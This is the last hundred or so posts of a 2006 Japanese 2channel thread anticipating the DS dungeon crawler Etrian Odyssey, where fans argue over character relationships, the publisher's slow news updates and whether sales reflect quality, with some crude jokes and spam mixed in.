915 :枯れた名無しの水平思考:2006/09/22(金) 23:13:43 ID:M1VDKxy00
はぁ〜ん!パラディン♀タソのおしりの穴がみたいよぉ〜

916 :枯れた名無しの水平思考:2006/09/22(金) 23:14:33 ID:4A/OrHhM0
メディック♀タソにおしりの穴なんて存在しないよ

917 :枯れた名無しの水平思考:2006/09/22(金) 23:15:48 ID:pyPvvIBF0
>>914
すまない・・・もう遅いかもしれないが、>>917には是非座ってくれ。

918 :枯れた名無しの水平思考:2006/09/22(金) 23:16:00 ID:4A/OrHhM0
次こそは!と思って焦って投稿してもた
俺は何をやっているのか

919 :枯れた名無しの水平思考:2006/09/22(金) 23:22:09 ID:MwYPYKeP0
早く発売しないと、どきどき魔女裁判!(仮)に予算を使ってしまうかもしれん。
いや、DSだし大したことはないしできないとと判ってるんだけど・・・。

920 :枯れた名無しの水平思考:2006/09/22(金) 23:22:41 ID:Bz/h7bmD0
ほんとだよwもちつけ

921 :枯れた名無しの水平思考:2006/09/22(金) 23:23:09 ID:M1VDKxy00
えろいな

922 :枯れた名無しの水平思考:2006/09/22(金) 23:36:18 ID:xdKNrhEc0
メディック♀たんのスカートをタッチペンでめくりたい

923 :枯れた名無しの水平思考:2006/09/22(金) 23:38:20 ID:8JOVI3bz0
すまん、俺も魔女裁判と同時購入

924 :枯れた名無しの水平思考:2006/09/22(金) 23:38:46 ID:jcTnXf410
>>922
魔女裁判でも買って我慢しろ

しかしタイトルまずくないかね?
歴史上ではかなり悲惨なことになってたんだろうに

925 :枯れた名無しの水平思考:2006/09/22(金) 23:40:08 ID:eke2t55K0
>>924
その背徳感が良いんじゃないか。
エロゲ業界ではよくあること。

926 :枯れた名無しの水平思考:2006/09/22(金) 23:42:07 ID:i3w1LsIv0
三国志のエロゲが出るくらいだしな

927 :枯れた名無しの水平思考:2006/09/22(金) 23:58:18 ID:e0vOOZx9O
魔女裁判って、リアルにやったら発禁か18禁にならねぇ?

928 :枯れた名無しの水平思考:2006/09/23(土) 00:05:18 ID:R69M4H7L0
日本はそういった方面にはぬるいからな
どっかの神様を殺しまくったり、ナチネタだって騒がれるほどでもなし

929 :枯れた名無しの水平思考:2006/09/23(土) 00:06:35 ID:z14Jw52r0
【今のところ明らかになっている「とある」キャラたちの関連】
・パラディン ―(探していた弟)→ パラディン   ―(助けた)→      カースメーカー
   ♀                   ♂  ←(会ってお礼を言いたい)―   ♀

・メディック ―(ちょっと心配な弟子)→ メディック
   ♂   ←(育ててくれた先生)―    ♀

・ブシドー  ―(兄の仇)→     ブシドー
  ♀  ←(勘違いされて迷惑)―  ♂

・ダークハンター ―(威勢はいいけど危なっかしい姉ちゃん)→ ソードマン
    ♂                                    ♀

前スレで指摘されたようにレンジャー♂とソードマン♀の関連はあやふやなのでとりあえず削除。

930 :枯れた名無しの水平思考:2006/09/23(土) 00:28:08 ID:u5KX5GQhO
なんかキャラの相関表とか見てるとムカつく。
固定キャラでいいじゃん。


てゆか、公式、プレイヤーキャラをどういう扱いにするかの実験じゃないだろうか。
発売時には、しっかり名前もついてバックボーンも設定されているんじゃないか?
その方がいいけど。

931 :枯れた名無しの水平思考:2006/09/23(土) 00:37:10 ID:d8S380KY0
>>930
本 気 で 言 っ て る の か ?

932 :枯れた名無しの水平思考:2006/09/23(土) 00:39:44 ID:r/ZmbRY70
どっちにしろ開発状況的にありえないな

933 :枯れた名無しの水平思考:2006/09/23(土) 00:43:32 ID:u5KX5GQhO
いや、有り得なくね?
まだキャラクターを模索中であーいう形式という可能性。

もちろん、名前やバックボーンが設定されるってのは可能性の一つの話で、例えば、だけど。


公式の情報がゲームが完成した時、全く違っていたなんて可能性も…。

934 :枯れた名無しの水平思考:2006/09/23(土) 00:44:41 ID:7ypy3bvb0
んだ。正直キャラは1回目の導入プレイで楽しめればそれでいい。
やりこみ用ゲームなんだから、キャラの紹介より、やることがあるだろ。
とか思うのだがアトラスにそれを期待するのは無理w

935 :枯れた名無しの水平思考:2006/09/23(土) 00:44:56 ID:u5KX5GQhO
そう考えたら、実際に発売される製品に対して期待が膨らみませんか?

ぶっちゃけ公式見ても面白そうじゃないもん。

936 :枯れた名無しの水平思考:2006/09/23(土) 00:46:01 ID:4Illgc0t0
発表から時間もたって、最近はいろんな人が集まるようになったね。

>>930
「自分が求めているもの」と「このゲームが与えるもの」は異なっているかもしれない。
公式をよく読みなおしたほうがいい。
相手が自分の好みに合えばいいのに、と考えるよりは
自分に合う相手を探しに出かけたほうがいいよ。

937 :枯れた名無しの水平思考:2006/09/23(土) 00:47:24 ID:MRYPFpA70
u5KX5GQhOが何を言いたいのか良く分からんw

938 :枯れた名無しの水平思考:2006/09/23(土) 00:49:47 ID:Z4kWUtv9O
たぶん何故このゲームが注目されたのか分かってない御新規さんなんだろう

939 :枯れた名無しの水平思考:2006/09/23(土) 00:51:23 ID:R69M4H7L0
Q、絵が好きじゃないんだけど
A、お前には合わない。立ち去れ。

Q、キャラに設定ないの?
A、自分で作るか諦めろ。

Q、面白くなさそうなんですけどこのゲーム糞ですか?
A、エスパーのお前には合わん手を出すな。

940 :枯れた名無しの水平思考:2006/09/23(土) 00:57:37 ID:r/ZmbRY70
>>938
あとキャラメイクするタイプのゲームやったことなさそうだな

941 :枯れた名無しの水平思考:2006/09/23(土) 00:59:16 ID:hXPXu5Xs0
無料MMOとかならキャラメイクしまくりんぐwwwwww

とか言われたら困るけどな

942 :枯れた名無しの水平思考:2006/09/23(土) 01:07:38 ID:4Illgc0t0
最近できたこの蕎麦屋、外装は多少今風ではあるが、昔ながらの素朴な味を出すと
一部の人たちの間では話題になっていた。
そこに、雑誌やテレビで取り上げられた流行の店に飛びつく新し物好きがやってきた。
「なんかこの店ダサくね?こんなの今時はやんねーって。」
「ねえパスタないの?ワインは?信じらんない。」

という風景が浮かんだ。

943 :枯れた名無しの水平思考:2006/09/23(土) 01:09:32 ID:jqLq+jdXO
変な奴が沸くのはだいたいいつも朝か日付が変わるころ

944 :枯れた名無しの水平思考:2006/09/23(土) 01:26:14 ID:DkX4EjV60
>>942
的確すぎ

945 :枯れた名無しの水平思考:2006/09/23(土) 01:28:00 ID:7U5LGFvc0
ぶっちゃけ、味は食べてみるまでわからないんだけどな。
なのに、昔ながらの素朴な味と判断するスレ住人。
エスパーかな?

946 :枯れた名無しの水平思考:2006/09/23(土) 01:29:34 ID:WnhOK8yQ0
まあ比喩だしな。

947 :枯れた名無しの水平思考:2006/09/23(土) 01:30:18 ID:iWZwZrZd0
【ウホッ】田代まさしに清き一票【いい男】 その3

http://ex16.2ch.net/test/read.cgi/news4vip/1158932593/

現在5位!

人数が足りません。どうか!どうか清き一票を!

http://www.0yen.tv/VOTE/V/4383ve125/

948 :枯れた名無しの水平思考:2006/09/23(土) 01:44:29 ID:v/e6N7ZEO
>>945
料理人が「昔ながらの蕎麦を打ちます」と宣言してるからな。
別の料理(カドゥケウス)で料理人の腕は証明されてるし、蕎麦好きの期待が高まるのも仕方なかろ。

なのに、「出来はどうだい?」と丁稚さんに聞いてみたら
「カマボコがハート型なんですよ」とか「このパステルカラーの丼かわいいでしょ?」とか
トチ狂った事ばかり言い出すもんだから、大丈夫かいなと首を傾げつつ
昔食った旨い蕎麦の話をしたりして完成を待ってるのが現状、と。

949 :枯れた名無しの水平思考:2006/09/23(土) 01:47:41 ID:jqLq+jdXO
宇田の最近の発言
1企画を考えています
2企画が発表できそうです
3企画は新納の肉声です
4企画は今月末か来月頭です
5企画はWebラジオです 内容が決まったら報告します

ここまでで5週間かかってる。
んで次は
6ラジオ内容の報告です
なんだろうな。で、7で実際にラジオ、と。
7週間もかけた壮大なWebラジオ楽しみにしてるわw

950 :枯れた名無しの水平思考:2006/09/23(土) 01:49:42 ID:7U5LGFvc0
んー、僕はたしかに最初の頃、インタビューでとても楽しみに思いました。期待してました。
でも、今は期待できる作品じゃないと思ってます。


WIZがなければ、ただのアレなだけの新作ゲームです。

951 :枯れた名無しの水平思考:2006/09/23(土) 01:51:08 ID:7U5LGFvc0
メッキが剥がれてきたと思うよ。
インタビューだけで期待されていたのが間違い。
現物を見ず、意気込みだけでそんな期待するなんて異常。

952 :枯れた名無しの水平思考:2006/09/23(土) 01:52:30 ID:d8S380KY0
現物がまだだから"期待"なんだろ。

953 :枯れた名無しの水平思考:2006/09/23(土) 01:54:29 ID:sqrVtSGH0
>>950
ぶつくさ言ってるのはどうでもいいんだが
とりあえずやることはやってくれ

954 :枯れた名無しの水平思考:2006/09/23(土) 01:54:35 ID:1JdZFeLL0
だから発売延びたから予定通り更新できないってことだろ。
かといって更新停止するわけにもいかんから、小出しするしかない。

955 :枯れた名無しの水平思考:2006/09/23(土) 01:54:56 ID:r/ZmbRY70
アトラスの更新が下手なのは昔っからだから
メッキがはがれるも何もいつもどおりだと思ってる俺がいる

956 :枯れた名無しの水平思考:2006/09/23(土) 01:55:05 ID:5TpVUI5K0
メッキか剥げて中身が見えるほどの情報が何も無い
インタビューでのwktkが盛り返すこともないが、覆されることもない
放置プレイでずいぶん落ち着いてはきたが、それだけだ


957 :枯れた名無しの水平思考:2006/09/23(土) 01:56:28 ID:7U5LGFvc0
いいえ、言葉だけだったものが、少しだけでも明らかになってくるつれ、
期待から怒り、落胆へと変化していきました。そして、興味を失う。
期待できる根拠はありますか?それはあなたの妄想、願いではありませんか?
期待するに足る根拠を得て期待してください。
そうでなければ、それはただの妄想でしょう。

私はこのゲームが何も面白そうじゃない。

958 :枯れた名無しの水平思考:2006/09/23(土) 01:56:56 ID:l2gnBYuQ0
webでの更新に期待が持てなくなっただけで世界樹に対しての期待は変わってねーな、おれ

959 :枯れた名無しの水平思考:2006/09/23(土) 01:58:16 ID:7U5LGFvc0
>>953
とりあえず先にあらすじまとめてくれないか?

960 :枯れた名無しの水平思考:2006/09/23(土) 01:59:09 ID:jqLq+jdXO
まぁ俺もこんな風に宇田に情報出させようと煽ってはみるものの
開発の都合上無理なもんは無理か
宇田タンごめんよ

開発中のSSでもいいんだけどねぇ。

961 :枯れた名無しの水平思考:2006/09/23(土) 01:59:41 ID:4Illgc0t0
広報の情報の出し方が下手(ユーザの期待を維持できない)とか
進捗が芳しくなさそう、それをはっきりさせない、などの点は問題かもしれないけど、
ゲーム内容については今のところ、インタビューの内容(ゲームの目指している方向性とか)を
否定する材料は出てないよね。

個人的には他にやりたいことも多いし別に焦ってないので、
ゆったりのんびり期待は持続しています。

962 :枯れた名無しの水平思考:2006/09/23(土) 02:01:32 ID:jqLq+jdXO
妄想妄想ってやっぱあいつか
だからさっさとコテハンになれっての

963 :枯れた名無しの水平思考:2006/09/23(土) 02:01:55 ID:r/ZmbRY70
というかいつものあいつか

964 :枯れた名無しの水平思考:2006/09/23(土) 02:03:53 ID:d8S380KY0
期待という言葉を辞書で引いてみるといいと思うよ

965 :枯れた名無しの水平思考:2006/09/23(土) 02:03:53 ID:r/ZmbRY70
>>962
どうでもいいことでかぶった

逃げたっぽいから>>970

966 :枯れた名無しの水平思考:2006/09/23(土) 02:04:17 ID:4Illgc0t0
>>957
君が何に期待し、何に落胆したかはどうでもいい。
なんでわざわざ他の人間の期待を偽りだと思うのか?
自分が楽しめずに他の人が楽しめている状況が悔しいか?

>>950
そろそろ次スレを…とか思ったけど期待できないなぁ。
970くらいでいいのかな?

967 :枯れた名無しの水平思考:2006/09/23(土) 02:04:45 ID:5TpVUI5K0
いいえ、言葉だけだったものが、少しも明らかになりはしていないので、
期待はそのままの状態で維持されています。
落胆へと変化した根拠はありますか?それはあなたの妄想、願いではありませんか?
落胆するに足る根拠を得て落胆してください。
そうでなければ、それはただの妄想でしょう。

私はこのゲームがあの時のまま面白そうに感じる。

968 :枯れた名無しの水平思考:2006/09/23(土) 02:04:45 ID:7U5LGFvc0
いや、いるんだけどさ、あらすじはって。

969 :枯れた名無しの水平思考:2006/09/23(土) 02:06:13 ID:7U5LGFvc0
>>967
かなり苦しい改変でワロたw
おまいユーモアのある奴だなぁw

テンプレ貼らずにスレ立てるだけでいいならするけど、あらすじ待ってんだってば。

970 :枯れた名無しの水平思考:2006/09/23(土) 02:13:45 ID:/ow6GXQo0
立ててくるわ。

971 :枯れた名無しの水平思考:2006/09/23(土) 02:18:46 ID:Z4kWUtv9O
>964
俺の辞書には
「指定したキャラの精神ポイントを50回復する」とある

972 :枯れた名無しの水平思考:2006/09/23(土) 02:25:37 ID:/ow6GXQo0
次スレです
ttp://game10.2ch.net/test/read.cgi/handygame/1158945285/l50

973 :枯れた名無しの水平思考:2006/09/23(土) 02:25:41 ID:bO6k5I4f0
>>971
まれに副作用あり

974 :枯れた名無しの水平思考:2006/09/23(土) 02:26:33 ID:jBJtf6Gk0
>>972
おつ

975 :枯れた名無しの水平思考:2006/09/23(土) 02:30:58 ID:5TpVUI5K0
>>972
おつ

>>969
改変元が苦しいからどうしても苦しくなっちゃうんだ
許してくれ

976 :枯れた名無しの水平思考:2006/09/23(土) 02:31:42 ID:/ow6GXQo0
立てたけどみんな寝たのか・・・サミシス

977 :枯れた名無しの水平思考:2006/09/23(土) 02:31:54 ID:l2gnBYuQ0
>>970
オッツ・デカルチャ!

978 :枯れた名無しの水平思考:2006/09/23(土) 02:35:01 ID:MRYPFpA70
>>972
(´・ω・)つ【乙】

979 :枯れた名無しの水平思考:2006/09/23(土) 02:38:56 ID:v/e6N7ZEO
>>970
火吹き山のまほ乙かい

>>957
あそこでスティーブと古代の名前を出されちゃ期待しないわけにいかんよ。
個人的にはそれだけで十分な根拠。FFバンザイ。

980 :枯れた名無しの水平思考:2006/09/23(土) 02:39:34 ID:Cv+OM53A0
>>972
乙!

981 :枯れた名無しの水平思考:2006/09/23(土) 03:14:48 ID:AOWh90id0
はぁ〜ん!パラディン♀タソのおしりの穴がみたいよぉ〜

982 :枯れた名無しの水平思考:2006/09/23(土) 04:24:07 ID:f9ujWUox0
情報が出ないだけでアンチになるのなw

983 :枯れた名無しの水平思考:2006/09/23(土) 06:20:55 ID:6Al3Xt7H0

はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜


984 :枯れた名無しの水平思考:2006/09/23(土) 06:50:00 ID:Du3qf8950
>>972
乙ですぜ

985 :枯れた名無しの水平思考:2006/09/23(土) 08:07:38 ID:2hy2Uqes0
>>972
もし、あなたに何か守るべきものがあり、私の力を必要としているのであれば、
この乙、あなたのために捧げることを誓いましょう。

986 :枯れた名無しの水平思考:2006/09/23(土) 09:55:25 ID:COYixO560
はぁ〜ん!カースメイカー♂タソとチュチュしたいよぉ〜

987 :枯れた名無しの水平思考:2006/09/23(土) 10:15:04 ID:FKvi6sEo0
評価が高いのに売れない状態になったら
宇田の責任なのは明白だな

988 :枯れた名無しの水平思考:2006/09/23(土) 10:39:05 ID:l59AGCih0
仮に売れないとしたらそれは作品自体の性だと思うな。マーケティングでモノが売れるって幻想は捨てよう。
魅力ある商品があるのが前提。マーケティングは後押しするだけだよ。
世界樹の迷宮は期待は高いのでとっかかりはしっかりしている...そんな状態。評価は発売後だもちつけ。

989 :枯れた名無しの水平思考:2006/09/23(土) 11:05:50 ID:CPLoAPJe0
>>988
謝れ! カドゥケウスと応援団とMGに謝れ!
(評価は高いが売り上げが散々だった三部衆)

990 :枯れた名無しの水平思考:2006/09/23(土) 11:10:42 ID:ekrHSd5R0
売れないゲーム=つまらないゲーム

って、今までどんなものやって来たんだろうな

991 :枯れた名無しの水平思考:2006/09/23(土) 11:28:46 ID:WziCyvgsO
FFだろ。

992 :枯れた名無しの水平思考:2006/09/23(土) 11:34:03 ID:/ow6GXQo0
逆に売れてるけどつまんねーゲームも腐るほどあるよな。
去年や今年の大作RPGだのジャンプのキャラ使ったキャラゲーだの。

993 :枯れた名無しの水平思考:2006/09/23(土) 11:35:58 ID:DyAT59Ou0
ジャンプのキャラゲーは結構面白かった
まあ対戦相手いないとすぐに飽きるけどね

994 :枯れた名無しの水平思考:2006/09/23(土) 11:38:09 ID:HJSDQWRg0
>>989
ごめん、MGって何?DSのゲーム?

995 :枯れた名無しの水平思考:2006/09/23(土) 11:39:14 ID:l59AGCih0
>>988,990すまん。
売れないゲーム=つまらないゲームという旨をいいたかったわけではないよ。その3本は俺も好きだし。
過去作品の後光でもって売上げ差がある感じで、マーケティングで売上げはどうこう出来ないよって話。

それと世界樹の迷宮が評価高いっていうには時期尚早だよ、って言いたかった。

>>994
超操縦メカ

996 :枯れた名無しの水平思考:2006/09/23(土) 11:40:49 ID:HJSDQWRg0
>>995
ああ、あれか。カドケゥスとかと同じ初期作品かと思った。

997 :枯れた名無しの水平思考:2006/09/23(土) 11:59:15 ID:JYxGeItF0
>>988
それにはわりと同感。
売れないゲームがつまらないとは言わないけど、
やっぱり何か足りないものがあるのだと思う。

個人的には応援団とか大好きだけどね。

998 :枯れた名無しの水平思考:2006/09/23(土) 12:02:29 ID:NS3fH1Su0
一部の人間にクリティカルする作品って
蚊帳の外の人間の魅力になる部分切り捨ててまで磨いでることあるしな

999 :枯れた名無しの水平思考:2006/09/23(土) 12:22:18 ID:puLbwwRy0
埋め

1000 :枯れた名無しの水平思考:2006/09/23(土) 12:22:39 ID:LQ1Ynfdr0
1000なら来月発売

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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